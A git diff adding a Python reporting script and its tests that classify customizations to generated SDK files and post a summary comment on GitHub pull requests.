+ elif (
+ public_metadata(destination, base_snapshot)["Generation-ID"] == after["generation_id"]
+ and git(destination, "rev-parse", f"{base_snapshot}^{{tree}}").decode().strip() == tree
+ ):
+ snapshot = base_snapshot
+ else:
+ snapshot = create_public_snapshot(
+ destination, tree, after["generation_id"], baseline["hash"], codegen_branch, parent
+ )
+ stats_path = destination / ".castiron.stats.yml"
+ current = git(source, "show", f"{require_sha(source_head)}:.castiron.stats.yml").decode("utf-8")
+ lines = [line for line in current.splitlines() if not line.startswith("public_codegen_sha:")]
+ stats_path.write_text("\n".join(lines) + f"\npublic_codegen_sha: {snapshot}\n")
+ git(destination, "add", "--", ".castiron.stats.yml")
+ return {
+ "commit": snapshot,
+ "branch": codegen_branch,
+ "previous": previous,
+ "hash": baseline["hash"],
+ }
+
+
+def resolve_baseline(
+ repo: Path, revision: str, *, fetch: bool, require_hash: bool
+) -> dict[str, Any]:
+ return resolve_checkpoint(
+ repo, read_stats(repo, revision), fetch=fetch, require_hash=require_hash
+ )
+
+
+def resolve_checkpoint(
+ repo: Path, stats: dict[str, str], *, fetch: bool, require_hash: bool
+) -> dict[str, Any]:
+ commit = stats["codegen_sha"]
+ if fetch:
+ git(repo, "fetch", "--quiet", "--no-tags", "origin", commit)
+ message = git(repo, "show", "-s", "--format=%B", commit).decode("utf-8")
+ match = re.search(r"^Generation metadata: ([A-Za-z0-9+/=]+)$", message, re.MULTILINE)
+ if not match:
+ raise ReportError("codegen checkpoint has no generation metadata")
+ try:
+ decoded: object = json.loads(base64.b64decode(match[1], validate=True))
+ except (ValueError, TypeError) as exc:
+ raise ReportError("invalid codegen checkpoint metadata") from exc
+ if not isinstance(decoded, dict):
+ raise ReportError("invalid codegen checkpoint metadata")
+ metadata = cast(dict[str, Any], decoded)
+ if metadata.get("generation_id") != stats["generation_id"]:
+ raise ReportError("codegen checkpoint generation ID does not match stats")
+ branch = metadata.get("source_branch")
+ if not isinstance(branch, str) or not branch:
+ raise ReportError("codegen checkpoint has no source branch")
+ ref = f"refs/heads/codegen/{branch}"
+ git(repo, "check-ref-format", ref)
+ tracking = f"refs/castiron/report/{hashlib.sha256(ref.encode()).hexdigest()}"
+ if fetch:
+ git(repo, "fetch", "--quiet", "--no-tags", "origin", f"+{ref}:{tracking}")
+ else:
+ tracking = f"refs/remotes/origin/codegen/{branch}"
+ git(repo, "merge-base", "--is-ancestor", commit, tracking)
+ actual = hash_codegen_commit(repo, commit)
+ expected = stats.get("codegen_hash")
+ if expected is None and require_hash:
+ raise ReportError("head stats do not contain codegen_hash")
+ if expected is not None and actual != expected:
+ raise ReportError(f"codegen_hash mismatch: expected {expected}, got {actual}")
+ return {
+ "commit": commit,
+ "generation_id": stats["generation_id"],
+ "hash": actual,
+ "hash_recorded": expected is not None,
+ }
+
+
+def numstats(repo: Path, generated: str, integrated: str) -> dict[bytes, tuple[str, str]]:
+ result: dict[bytes, tuple[str, str]] = {}
+ output = git(
+ repo,
+ "diff",
+ "--numstat",
+ "-z",
+ "--no-renames",
+ "--no-ext-diff",
+ "--no-textconv",
+ generated,
+ integrated,
+ "--",
+ )
+ for record in output.split(b"\0"):
+ if record:
+ added, removed, path = record.split(b"\t", 2)
+ result[path] = (added.decode("ascii"), removed.decode("ascii"))
+ return result
+
+
+def classify(g0: Entry | None, i0: Entry | None, g1: Entry | None, i1: Entry | None) -> str | None:
+ before = g0 is not None and g0 != i0
+ after = g1 is not None and g1 != i1
+ if g0 is not None and g1 is None and (before or i1 is not None):
+ return "no_longer_generated"
+ if g0 is None and g1 is not None and i0 is not None:
+ return "newly_generation_owned"
+ if not before and not after:
+ return None
+ if g0 is not None and g1 is not None and g0 != g1:
+ return "baseline_changed"
+ if not before:
+ return "newly_customized"
+ if not after:
+ return "removed"
+ return "unchanged" if i0 == i1 else "existing_changed"
+
+
+def build_report(
+ repo: Path,
+ base: str,
+ head: str,
+ *,
+ fetch: bool = False,
+ require_head_hash: bool = False,
+ public: bool = False,
+) -> tuple[dict[str, Any], bytes]:
+ base, head = require_sha(base), require_sha(head)
+ comparison_base = git(repo, "merge-base", base, head).decode().strip()
+ if public:
+ after = resolve_public_baseline(repo, head, fetch=fetch, require_hash=require_head_hash)
+ before = resolve_public_baseline(
+ repo, comparison_base, fetch=fetch, require_hash=False, lineage=after["commit"]
+ )
+ else:
+ before = resolve_baseline(repo, comparison_base, fetch=fetch, require_hash=False)
+ after = resolve_baseline(repo, head, fetch=fetch, require_hash=require_head_hash)
+ g0, i0 = tree_entries(repo, before["commit"]), tree_entries(repo, comparison_base)
+ g1, i1 = tree_entries(repo, after["commit"]), tree_entries(repo, head)
+ stats = numstats(repo, after["commit"], head)
+ files: list[dict[str, Any]] = []
+ current_paths: list[str] = []
+ for path in sorted(g0.keys() | g1.keys()):
+ category = classify(g0.get(path), i0.get(path), g1.get(path), i1.get(path))
+ if category is None:
+ continue
+ custom_before = path in g0 and g0[path] != i0.get(path)
+ custom_after = path in g1 and g1[path] != i1.get(path)
+ added, removed = stats.get(path, ("0", "0")) if custom_after else ("0", "0")
+ files.append(
+ {
+ "path": path.decode("utf-8"),
+ "category": category,
+ "custom_before": custom_before,
+ "custom_after": custom_after,
+ "added": added,
+ "removed": removed,
+ }
+ )
+ if custom_after:
+ current_paths.append(path.decode("utf-8"))
+ patch = b""
+ if current_paths:
+ patch = git(
+ repo,
+ "--literal-pathspecs",
+ "diff",
+ "--binary",
+ "--full-index",
+ "--no-renames",
+ "--no-ext-diff",
+ "--no-textconv",
+ "--no-color",
+ after["commit"],
+ head,
+ "--",
+ *current_paths,
+ )
+ return {
+ "schema_version": 1,
+ "status": "ok",
+ "public": public,
+ "target_base_sha": base,
+ "base_sha": comparison_base,
+ "head_sha": head,
+ "before": before,
+ "after": after,
+ "files": files,
+ "counts": {
+ "before": sum(f["custom_before"] for f in files),
+ "after": sum(f["custom_after"] for f in files),
+ **dict(collections.Counter(f["category"] for f in files)),
+ },
+ }, patch
+
+
+def render_report(
+ report: dict[str, Any],
+ run_url: str = "",
+ *,
+ repository: str = "",
+ run_id: int = 0,
+ run_attempt: int = 0,
+) -> str:
+ head = require_sha(report["head_sha"])
+ lines = [MARKER, "", "## Castiron custom code", ""]
+ if report.get("status") != "ok":
+ reason = html.escape(str(report.get("error", "Report could not be computed")))
+ lines.extend([f"⚠️ Report unavailable for `{head[:12]}`.", "", reason])
+ else:
+ files = report["files"]
+ counts: collections.Counter[str] = collections.Counter()
+ for file in files:
+ if file["category"] not in LABELS:
+ raise ReportError("unknown report category")
+ counts[file["category"]] += 1
+ before = sum(bool(file["custom_before"]) for file in files)
+ after = sum(bool(file["custom_after"]) for file in files)
+ base = require_sha(report["base_sha"])
+ newly_customized = sum(
+ bool(file["custom_after"]) and not file["custom_before"] for file in files
+ )
+ removed = sum(
+ bool(file["custom_before"])
+ and not file["custom_after"]
+ and file["category"] != "no_longer_generated"
+ for file in files
+ )
+ if newly_customized == 0:
+ remaining = (
+ f"{after} mixed file{'s' if after != 1 else ''} remain{'s' if after == 1 else ''}"
+ )
+ changed = counts["existing_changed"]
+ details = [f"{changed} existing customization{'s' if changed != 1 else ''} changed"]
+ if removed:
+ details.append(f"{removed} customizations removed")
+ if counts["baseline_changed"]:
+ details.append(f"{counts['baseline_changed']} generated baselines changed")
+ lines.extend(
+ [
+ "✅ No new custom-code files detected.",
+ "",
+ remaining + "; " + "; ".join(details) + ".",
+ ]
+ )
+ else:
+ lines.extend(
+ [
+ f"**Mixed files: {before} → {after}**",
+ "",
+ (
+ f"{newly_customized} newly customized · {removed} customizations removed · "
+ f"{counts['existing_changed']} existing customizations changed · {counts['baseline_changed']} generated baselines changed"
+ ),
+ ]
+ )
+ lines.extend(["", f"Compared `{base[:12]}` → `{head[:12]}`. Generated baselines verified."])
+ if not report["before"]["hash_recorded"] or not report["after"]["hash_recorded"]:
+ lines.extend(
+ [
+ "",
+ "Legacy baseline: content hash computed from the pinned checkpoint; not yet recorded in that revision’s stats.",
+ ]
+ )
+ interesting = [file for file in files if file["category"] != "unchanged"]
+ if interesting:
+ lines.extend(["", "| File | Result | Current custom patch |", "| --- | --- | --- |"])
+ for file in interesting[:40]:
+ path = (
+ html.escape(str(file["path"]))
+ .replace("|", "|")
+ .replace("\n", "
")
+ .replace("\r", "
")
+ )
+ added, removed = str(file["added"]), str(file["removed"])
+ if not re.fullmatch(r"\d+|-", added) or not re.fullmatch(r"\d+|-", removed):
+ raise ReportError("invalid line counts")
+ delta = f"+{added} / −{removed}" if file["custom_after"] else "None"
+ lines.append(f"| {path} | {LABELS[file['category']]} | {delta} |")
+ if len(interesting) > 40:
+ lines.extend(
+ [
+ "",
+ f"{len(interesting) - 40} more affected files are listed in the full report.",
+ ]
+ )
+ if counts["unchanged"]:
+ lines.extend(
+ [
+ "",
+ f"{counts['unchanged']} existing customizations unchanged
",
+ "",
+ ]
+ )
+ for file in [file for file in files if file["category"] == "unchanged"][:40]:
+ lines.append(f"- {html.escape(str(file['path']))}")
+ if counts["unchanged"] > 40:
+ lines.extend(["", f"{counts['unchanged'] - 40} more in the full report."])
+ lines.extend(["", " "])
+ lines.extend(
+ [
+ "",
+ "A changed generated baseline means this report cannot reliably identify which handwritten lines changed.",
+ ]
+ )
+ target_base = require_sha(report["target_base_sha"])
+ lines.extend(["", "Inspect the custom-code diff
", ""])
+ if repository:
+ if not REPOSITORY.fullmatch(repository) or min(run_id, run_attempt) <= 0:
+ raise ReportError("invalid artifact download target")
+ artifact = f"castiron-custom-code-{run_id}-{run_attempt}"
+ lines.extend(
+ [
+ "Download the exact patch produced by this run (requires repository access):",
+ "",
+ "```sh",
+ f"gh run download {run_id} --repo {repository} \\",
+ f" --name {artifact} --dir /tmp/{artifact}",
+ f"git apply --stat /tmp/{artifact}/custom-code.patch",
+ f"cat /tmp/{artifact}/custom-code.patch",
+ "```",
+ "",
+ ]
+ )
+ lines.extend(
+ [
+ "Or reproduce it from an SDK checkout containing the vendored reporter:",
+ "",
+ "```sh",
+ f"git fetch --no-tags origin {target_base} {head}",
+ "python3 scripts/castiron/custom_code_report.py report \\",
+ f" --base {target_base} \\",
+ f" --head {head} --fetch --require-head-hash{' --public' if report.get('public') else ''} \\",
+ f" --out /tmp/castiron-custom-code-{head[:12]}",
+ f"cat /tmp/castiron-custom-code-{head[:12]}/custom-code.patch",
+ "```",
+ "",
+ "This is the **current full custom patch** for mixed files, not an attribution of only the handwritten lines changed by this PR.",
+ "",
+ " ",
+ ]
+ )
+ if run_url:
+ lines.extend(["", f"[Full report and patch]({run_url})"])
+ return "\n".join(lines) + "\n"
+
+
+def api(method: str, path: str, payload: dict[str, Any] | None = None) -> Any:
+ token = os.environ.get("GH_TOKEN") or os.environ.get("GITHUB_TOKEN")
+ if not token:
+ raise ReportError("GitHub token is required for comment publication")
+ args = ["gh", "api", "--hostname", "github.com", "--method", method, path]
+ if payload is not None:
+ args.extend(["--input", "-"])
+ result = subprocess.run(
+ args,
+ input=json.dumps(payload).encode() if payload is not None else None,
+ capture_output=True,
+ check=False,
+ timeout=60,
+ )
+ if result.returncode:
+ raise ReportError(
+ f"GitHub API request failed: {result.stderr.decode(errors='replace').strip()}"
+ )
+ return json.loads(result.stdout)
+
+
+def publish_comment(
+ report: dict[str, Any], repository: str, number: int, run_id: int, run_attempt: int
+) -> str:
+ if not REPOSITORY.fullmatch(repository) or min(number, run_id, run_attempt) <= 0:
+ raise ReportError("invalid GitHub publication target")
+ root = f"repos/{repository}"
+ pull = api("GET", f"{root}/pulls/{number}")
+ if (
+ pull["state"] != "open"
+ or pull["head"]["sha"] != report["head_sha"]
+ or pull["base"]["sha"] != report["target_base_sha"]
+ ):
+ return "Skipped stale report"
+ run = api("GET", f"{root}/actions/runs/{run_id}")
+ if (
+ run["event"] != "pull_request"
+ or run.get("path", "").split("@", 1)[0] != ".github/workflows/castiron-custom-code.yml"
+ or run["head_sha"] != report["head_sha"]
+ ):
+ raise ReportError("workflow run does not match report PR/head")
+ associated = run["pull_requests"]
+ if not associated:
+ # GitHub can omit the PR association on workflow runs from forks.
+ associated = api("GET", f"{root}/commits/{require_sha(run['head_sha'])}/pulls?per_page=100")
+ if not any(pr["number"] == number for pr in associated):
+ raise ReportError("workflow run does not match report PR/head")
+ if run["run_attempt"] != run_attempt:
+ return "Skipped stale report"
+ body = render_report(
+ report,
+ f"https://github.com/{repository}/actions/runs/{run_id}",
+ repository=repository,
+ run_id=run_id,
+ run_attempt=run_attempt,
+ )
+ body += f"\n\n"
+ found = None
+ for page in range(1, 101):
+ comments = api("GET", f"{root}/issues/{number}/comments?per_page=100&page={page}")
+ for comment in comments:
+ if comment["user"]["login"] == "github-actions[bot]" and comment["body"].startswith(
+ MARKER
+ ):
+ found = comment
+ break
+ if found is not None or len(comments) < 100:
+ break
+ if found is not None:
+ previous = RUN_MARKER.search(found["body"])
+ if previous and tuple(map(int, previous.groups())) > (run_id, run_attempt):
+ return "Skipped stale report"
+ if found["body"] == body:
+ return str(found["html_url"])
+ # The workflow serializes publishers; recheck after pagination before writing.
+ pull = api("GET", f"{root}/pulls/{number}")
+ if (
+ pull["state"] != "open"
+ or pull["head"]["sha"] != report["head_sha"]
+ or pull["base"]["sha"] != report["target_base_sha"]
+ ):
+ return "Skipped stale report"
+ if found is not None:
+ result = api("PATCH", f"{root}/issues/comments/{found['id']}", {"body": body})
+ else:
+ result = api("POST", f"{root}/issues/{number}/comments", {"body": body})
+ return str(result["html_url"])
+
+
+def main() -> int:
+ parser = argparse.ArgumentParser(description=__doc__)
+ commands = parser.add_subparsers(dest="command", required=True)
+ hashing = commands.add_parser("hash")
+ hashing.add_argument("--repo", type=Path, default=Path.cwd())
+ hashing.add_argument("--commit", required=True)
+ reporting = commands.add_parser("report")
+ reporting.add_argument("--repo", type=Path, default=Path.cwd())
+ reporting.add_argument("--base", required=True)
+ reporting.add_argument("--head", required=True)
+ reporting.add_argument("--out", type=Path, required=True)
+ reporting.add_argument("--fetch", action="store_true")
+ reporting.add_argument("--require-head-hash", action="store_true")
+ reporting.add_argument("--public", action="store_true")
+ preparing = commands.add_parser("prepare-public")
+ preparing.add_argument("--source-repo", type=Path, required=True)
+ preparing.add_argument("--source-base", required=True)
+ preparing.add_argument("--source-head", required=True)
+ preparing.add_argument("--public-repo", type=Path, required=True)
+ preparing.add_argument("--public-base", required=True)
+ preparing.add_argument("--branch", required=True)
+ commenting = commands.add_parser("comment")
+ commenting.add_argument("--report", type=Path, required=True)
+ commenting.add_argument("--repository", required=True)
+ commenting.add_argument("--pr", type=int, required=True)
+ commenting.add_argument("--run-id", type=int, required=True)
+ commenting.add_argument("--run-attempt", type=int, required=True)
+ args = parser.parse_args()
+ try:
+ if args.command == "hash":
+ sys.stdout.write(hash_codegen_commit(args.repo, args.commit) + "\n")
+ elif args.command == "prepare-public":
+ sys.stdout.write(
+ json.dumps(
+ prepare_public_snapshot(
+ args.source_repo,
+ args.source_base,
+ args.source_head,
+ args.public_repo,
+ args.public_base,
+ args.branch,
+ )
+ )
+ + "\n"
+ )
+ elif args.command == "comment":
+ if args.report.stat().st_size > 5_000_000:
+ raise ReportError("report artifact is too large")
+ report = json.loads(args.report.read_text())
+ sys.stdout.write(
+ publish_comment(report, args.repository, args.pr, args.run_id, args.run_attempt)
+ + "\n"
+ )
+ else:
+ args.out.mkdir(parents=True, exist_ok=True)
+ try:
+ report, patch = build_report(
+ args.repo,
+ args.base,
+ args.head,
+ fetch=args.fetch,
+ require_head_hash=args.require_head_hash,
+ public=args.public,
+ )
+ except (ReportError, UnicodeError, KeyError, ValueError) as exc:
+ report = {
+ "schema_version": 1,
+ "status": "error",
+ "target_base_sha": require_sha(args.base),
+ "head_sha": require_sha(args.head),
+ "error": str(exc),
+ }
+ patch = b""
+ (args.out / "report.json").write_text(
+ json.dumps(report, indent=2, sort_keys=True) + "\n"
+ )
+ (args.out / "custom-code.patch").write_bytes(patch)
+ summary = render_report(report)
+ (args.out / "summary.md").write_text(summary)
+ sys.stdout.write(summary)
+ return 0 if report["status"] == "ok" else 1
+ except (ReportError, OSError, subprocess.TimeoutExpired) as exc:
+ sys.stderr.write(f"Castiron custom-code report: {exc}\n")
+ return 1
+ return 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/scripts/castiron/ruff.toml b/scripts/castiron/ruff.toml
new file mode 100644
index 0000000000..1e8a301260
--- /dev/null
+++ b/scripts/castiron/ruff.toml
@@ -0,0 +1,3 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+line-length = 100
+target-version = "py310"
diff --git a/scripts/castiron/test_custom_code_report.py b/scripts/castiron/test_custom_code_report.py
new file mode 100644
index 0000000000..6e9d938f00
--- /dev/null
+++ b/scripts/castiron/test_custom_code_report.py
@@ -0,0 +1,654 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+from __future__ import annotations
+
+import base64
+import hashlib
+import json
+import os
+import shutil
+import struct
+import subprocess
+import tempfile
+import textwrap
+import unittest
+from pathlib import Path
+from unittest import mock
+
+import custom_code_report as report
+
+GENERATION = "550e8400-e29b-41d4-a716-446655440000"
+
+
+class CustomCodeTests(unittest.TestCase):
+ # Keep the vendored test stdlib-only on Python 3.10 (no typing.override yet).
+ def setUp(self) -> None: # pyright: ignore[reportImplicitOverride]
+ self.temporary = tempfile.TemporaryDirectory()
+ self.addCleanup(self.temporary.cleanup)
+ self.repo = Path(self.temporary.name)
+ self.git("init", "-q", "-b", "main")
+ self.git("config", "user.name", "Castiron test")
+ self.git("config", "user.email", "castiron@example.test")
+
+ def git(self, *args: str) -> str:
+ return subprocess.run(
+ ["git", "-C", str(self.repo), *args], check=True, capture_output=True, text=True
+ ).stdout.strip()
+
+ def write(self, path: str, body: str) -> None:
+ target = self.repo / path
+ target.parent.mkdir(parents=True, exist_ok=True)
+ target.write_text(body)
+
+ def commit(self, message: str = "fixture") -> str:
+ self.git("add", "-A")
+ self.git("commit", "-q", "--allow-empty", "-m", message)
+ return self.git("rev-parse", "HEAD")
+
+ def baseline(self) -> tuple[str, str]:
+ self.write("generated.py", "generated\n")
+ metadata = {
+ "generation_id": GENERATION,
+ "source_branch": "test",
+ "target": "openai-python",
+ "language": "python",
+ }
+ encoded = base64.b64encode(json.dumps(metadata).encode()).decode()
+ generated = self.commit(f"codegen\n\nGeneration metadata: {encoded}")
+ self.git("update-ref", "refs/remotes/origin/codegen/test", generated)
+ self.write(
+ ".castiron.stats.yml",
+ f"schema_version: 1\ngeneration_id: {GENERATION}\ncodegen_sha: {generated}\ncodegen_hash: {report.hash_codegen_commit(self.repo, generated)}\n",
+ )
+ return generated, self.commit("integrated")
+
+ def test_git_preserves_authentication_without_inherited_repository_routing(self) -> None:
+ environment = {
+ "GIT_CONFIG_GLOBAL": "/ordinary/gitconfig",
+ "GIT_ASKPASS": "/ordinary/askpass",
+ "GIT_CONFIG_COUNT": "1",
+ "GIT_CONFIG_KEY_0": "credential.helper",
+ "GIT_CONFIG_VALUE_0": "example",
+ "GIT_DIR": "/wrong/repository",
+ "GIT_COMMON_DIR": "/wrong/common",
+ "GIT_INDEX_FILE": "/wrong/index",
+ }
+ with (
+ mock.patch.dict(os.environ, environment),
+ mock.patch.object(
+ report.subprocess,
+ "run",
+ return_value=subprocess.CompletedProcess([], 0, stdout=b"ok"),
+ ) as run,
+ ):
+ self.assertEqual(report.git(self.repo, "status"), b"ok")
+ actual = run.call_args.kwargs["env"]
+ for name, value in environment.items():
+ if name in {"GIT_DIR", "GIT_COMMON_DIR", "GIT_INDEX_FILE"}:
+ self.assertNotIn(name, actual)
+ else:
+ self.assertEqual(actual[name], value)
+ self.assertEqual(actual["GIT_NO_REPLACE_OBJECTS"], "1")
+
+ @unittest.skipUnless(os.environ.get("CASTIRON_TEST_BIN"), "Castiron compiler contract test")
+ def test_rust_and_python_hashes_match(self) -> None:
+ self.write("a", "first\n")
+ self.write("nested/b", "second\n")
+ self.write(".github/workflows/ignored.yml", "ignored\n")
+ for change in ("initial", "mode", "bytes"):
+ if change == "mode":
+ (self.repo / "a").chmod(0o755)
+ elif change == "bytes":
+ self.write("nested/b", "changed\n")
+ commit = self.commit(change)
+ rust = subprocess.check_output(
+ [
+ os.environ["CASTIRON_TEST_BIN"],
+ "sdk",
+ "codegen-hash",
+ "--repo",
+ str(self.repo),
+ "--commit",
+ commit,
+ ],
+ text=True,
+ ).strip()
+ self.assertEqual(rust, report.hash_codegen_commit(self.repo, commit))
+
+ def test_reporting_script_can_be_a_mixed_file(self) -> None:
+ path = "scripts/castiron/custom_code_report.py"
+ self.write(path, "# generated reporter\n")
+ _, base = self.baseline()
+ self.write(path, "# generated reporter\n# local customization\n")
+ head = self.commit()
+ result, _ = report.build_report(self.repo, base, head, require_head_hash=True)
+ changed = next(file for file in result["files"] if file["path"] == path)
+ self.assertEqual(changed["category"], "newly_customized")
+
+ def test_hash_vector_and_exclusions(self) -> None:
+ self.write("a", "hello\n")
+ first = self.commit()
+ encoded = (
+ report.DOMAIN
+ + struct.pack(">Q", 1)
+ + struct.pack(">Q", 1)
+ + b"a100644"
+ + struct.pack(">Q", 6)
+ + b"hello\n"
+ )
+ expected = hashlib.sha256(encoded).hexdigest()
+ self.assertEqual(report.hash_codegen_commit(self.repo, first), expected)
+ self.write(".github/workflows/test.yml", "ignored\n")
+ self.write(".github/actions/test/action.yml", "ignored\n")
+ second = self.commit()
+ self.assertEqual(report.hash_codegen_commit(self.repo, second), expected)
+ os.chmod(self.repo / "a", 0o755)
+ self.assertNotEqual(report.hash_codegen_commit(self.repo, self.commit()), expected)
+ self.write(".github/CODEOWNERS", "not ignored\n")
+ self.assertNotEqual(report.hash_codegen_commit(self.repo, self.commit()), expected)
+
+ def test_classifications(self) -> None:
+ a, b, c = (report.Entry(b"100644", value * 40) for value in "abc")
+ cases = [
+ ((a, a, b, b), None),
+ ((a, a, a, b), "newly_customized"),
+ ((a, b, a, a), "removed"),
+ ((a, b, a, c), "existing_changed"),
+ ((a, b, a, b), "unchanged"),
+ ((a, b, c, b), "baseline_changed"),
+ ((a, b, None, b), "no_longer_generated"),
+ ((a, a, None, a), "no_longer_generated"),
+ ((a, a, None, None), None),
+ ((None, b, a, b), "newly_generation_owned"),
+ ((None, a, a, a), "newly_generation_owned"),
+ ((a, a, b, a), "baseline_changed"),
+ ((a, b, b, b), "baseline_changed"),
+ ((a, a, a, None), "newly_customized"),
+ ]
+ for values, expected in cases:
+ with self.subTest(expected=expected):
+ self.assertEqual(report.classify(*values), expected)
+
+ def test_report_ignores_handwritten_files_and_shows_custom_patch(self) -> None:
+ generated, base = self.baseline()
+ self.write("generated.py", "generated\n# custom\n")
+ self.write("handwritten.py", "handwritten\n")
+ head = self.commit()
+ result, patch = report.build_report(self.repo, base, head, require_head_hash=True)
+ self.assertEqual(result["counts"]["newly_customized"], 1)
+ self.assertEqual(result["files"][0]["path"], "generated.py")
+ self.assertIn(b"+# custom", patch)
+ self.assertNotIn(b"handwritten", patch)
+ self.assertEqual(result["after"]["commit"], generated)
+ body = report.render_report(result, repository="openai/example", run_id=42, run_attempt=2)
+ self.assertIn("Inspect the custom-code diff", body)
+ self.assertIn("gh run download 42 --repo openai/example", body)
+ self.assertIn("--name castiron-custom-code-42-2", body)
+ self.assertIn(f"--head {head}", body)
+ self.assertIn("current full custom patch", body)
+
+ def test_bad_hash_and_lost_checkpoint_fail(self) -> None:
+ generated, base = self.baseline()
+ stats = self.repo / ".castiron.stats.yml"
+ stats.write_text(
+ stats.read_text().replace(report.hash_codegen_commit(self.repo, generated), "f" * 64)
+ )
+ with self.assertRaisesRegex(report.ReportError, "codegen_hash mismatch"):
+ report.build_report(self.repo, base, self.commit())
+ self.git("update-ref", "-d", "refs/remotes/origin/codegen/test")
+ with self.assertRaises(report.ReportError):
+ report.resolve_baseline(self.repo, base, fetch=False, require_hash=True)
+
+ def test_stats_symlink_is_rejected(self) -> None:
+ self.baseline()
+ path = self.repo / ".castiron.stats.yml"
+ original = path.read_text()
+ path.unlink()
+ path.symlink_to(original)
+ with self.assertRaisesRegex(report.ReportError, "regular Git file"):
+ report.read_stats(self.repo, self.commit())
+
+ def test_public_snapshot_rejects_private_governance_and_unpublished_paths(self) -> None:
+ entry = report.Entry(b"100644", "a" * 40)
+ blocked = [
+ b".castiron/private.json",
+ b".github/CODEOWNERS",
+ b".gitmodules",
+ b"CODEOWNERS",
+ b"SECURITY.md",
+ b"docs/SECURITY.md",
+ ]
+ for path in blocked:
+ with (
+ self.subTest(path=path),
+ mock.patch.object(
+ report, "tree_entries", side_effect=[{path: entry}, {path: entry}]
+ ),
+ mock.patch.object(report, "read_blobs") as read,
+ ):
+ with self.assertRaisesRegex(report.ReportError, "private or governance"):
+ report.copy_generated_tree(self.repo, "a" * 40, self.repo, "b" * 40)
+ read.assert_not_called()
+ with (
+ mock.patch.object(report, "tree_entries", side_effect=[{b"unreleased.py": entry}, {}]),
+ mock.patch.object(report, "read_blobs") as read,
+ ):
+ with self.assertRaisesRegex(
+ report.ReportError, "absent from the approved public SDK tree"
+ ):
+ report.copy_generated_tree(self.repo, "a" * 40, self.repo, "b" * 40)
+ read.assert_not_called()
+
+ def test_zero_new_files_summary_reports_existing_changes(self) -> None:
+ _, clean = self.baseline()
+ self.write("generated.py", "generated\n# existing customization\n")
+ base = self.commit()
+ self.write("generated.py", "generated\n# existing customization updated\n")
+ result, _ = report.build_report(self.repo, base, self.commit())
+ body = report.render_report(result)
+ self.assertIn("✅ No new custom-code files detected.", body)
+ self.assertIn("1 mixed file remains; 1 existing customization changed.", body)
+ self.assertNotIn("0 newly customized", body)
+ empty, _ = report.build_report(self.repo, clean, clean)
+ self.assertIn(
+ "0 mixed files remain; 0 existing customizations changed.", report.render_report(empty)
+ )
+
+ def test_new_mixed_file_headline_includes_changed_generated_baselines(self) -> None:
+ _, base = self.baseline()
+ result, _ = report.build_report(self.repo, base, base)
+ for category in ("baseline_changed", "newly_generation_owned"):
+ result["files"] = [
+ {
+ "path": "generated.py",
+ "category": category,
+ "custom_before": False,
+ "custom_after": True,
+ "added": "1",
+ "removed": "1",
+ }
+ ]
+ body = report.render_report(result)
+ self.assertNotIn("No new custom-code files", body)
+ self.assertIn("1 newly customized", body)
+
+ @unittest.skipUnless(shutil.which("node"), "GitHub Actions JavaScript runtime")
+ def test_trusted_failure_publisher_updates_one_current_comment(self) -> None:
+ workflow = (
+ Path(__file__).resolve().parents[2]
+ / ".github/workflows/castiron-custom-code-comment.yml"
+ )
+ section = workflow.read_text().split("- name: Publish a trusted failure status\n", 1)[1]
+ script = textwrap.dedent(section.split("script: |\n", 1)[1])
+ harness = r"""
+const assert = require('node:assert/strict');
+const AsyncFunction = Object.getPrototypeOf(async function(){}).constructor;
+async function check(stale, exists, priorRun, expected) {
+ const writes = [];
+ const event = {id: 20, run_attempt: 1, event: 'pull_request', path: '.github/workflows/castiron-custom-code.yml', head_sha: 'a'.repeat(40), pull_requests: [{number: 1}]};
+ const current = {state: 'open', head: {sha: (stale ? 'c' : 'a').repeat(40)}};
+ const previous = {id: 42, user: {type: 'Bot', login: 'github-actions[bot]'},
+ body: `\n`};
+ const github = {paginate: async () => exists ? [previous] : [], rest: {
+ pulls: {get: async () => ({data: current})},
+ issues: {listComments() {}, updateComment: async x => writes.push(['update', x]),
+ createComment: async x => writes.push(['create', x])}}};
+ const context = {payload: {workflow_run: event}, repo: {owner: 'openai', repo: 'example'},
+ runId: 20, serverUrl: 'https://github.com'};
+ await new AsyncFunction('github', 'context', SCRIPT)(github, context);
+ assert.equal(writes.length, expected ? 1 : 0);
+ if (expected) {
+ assert.equal(writes[0][0], expected);
+ assert.match(writes[0][1].body, /Report unavailable/);
+ assert.match(writes[0][1].body, /castiron:run:v1:20:1/);
+ }
+}
+(async () => {
+ await check(false, true, 10, 'update');
+ await check(false, false, 10, 'create');
+ await check(true, true, 10, null);
+ await check(false, true, 21, null);
+})().catch(error => { console.error(error); process.exitCode = 1; });
+"""
+ subprocess.run(
+ ["node", "-e", "const SCRIPT = " + json.dumps(script) + ";\n" + harness],
+ check=True,
+ env={**os.environ, "GITHUB_RUN_ATTEMPT": "1"},
+ )
+
+ def test_workflow_reports_all_branches_without_write_credentials(self) -> None:
+ workflows = Path(__file__).resolve().parents[2] / ".github/workflows"
+ producer = (workflows / "castiron-custom-code.yml").read_text()
+ publisher = (workflows / "castiron-custom-code-comment.yml").read_text()
+ self.assertIn("pull_request:", producer)
+ self.assertNotIn("CASTIRON_CUSTOM_CODE_BRANCHES", producer + publisher)
+ self.assertNotIn("pull-requests: write", producer)
+ self.assertNotIn("head.repo.full_name ==", producer)
+ self.assertIn("workflow_run:", publisher)
+ self.assertIn("ref: ${{ github.workflow_sha }}", publisher)
+ self.assertNotIn("ref: ${{ github.event.pull_request.head.sha }}", publisher)
+ self.assertIn("persist-credentials: false", publisher)
+ self.assertIn("--report", publisher)
+
+ def test_removals_include_changed_baselines_but_not_handwritten_only_files(self) -> None:
+ _, base = self.baseline()
+ result, _ = report.build_report(self.repo, base, base)
+ result["files"] = [
+ {
+ "path": category,
+ "category": category,
+ "custom_before": True,
+ "custom_after": False,
+ "added": "0",
+ "removed": "0",
+ }
+ for category in ("baseline_changed", "no_longer_generated")
+ ]
+ self.assertIn("1 customizations removed", report.render_report(result))
+ result["files"].append(
+ {
+ "path": "new.py",
+ "category": "newly_customized",
+ "custom_before": False,
+ "custom_after": True,
+ "added": "1",
+ "removed": "0",
+ }
+ )
+ self.assertIn("1 customizations removed", report.render_report(result))
+
+ def test_public_snapshot_has_no_private_history_and_reports_without_private_remote(
+ self,
+ ) -> None:
+ self.write("private-only.txt", "must never be published\n")
+ private_ancestor = self.commit("private history")
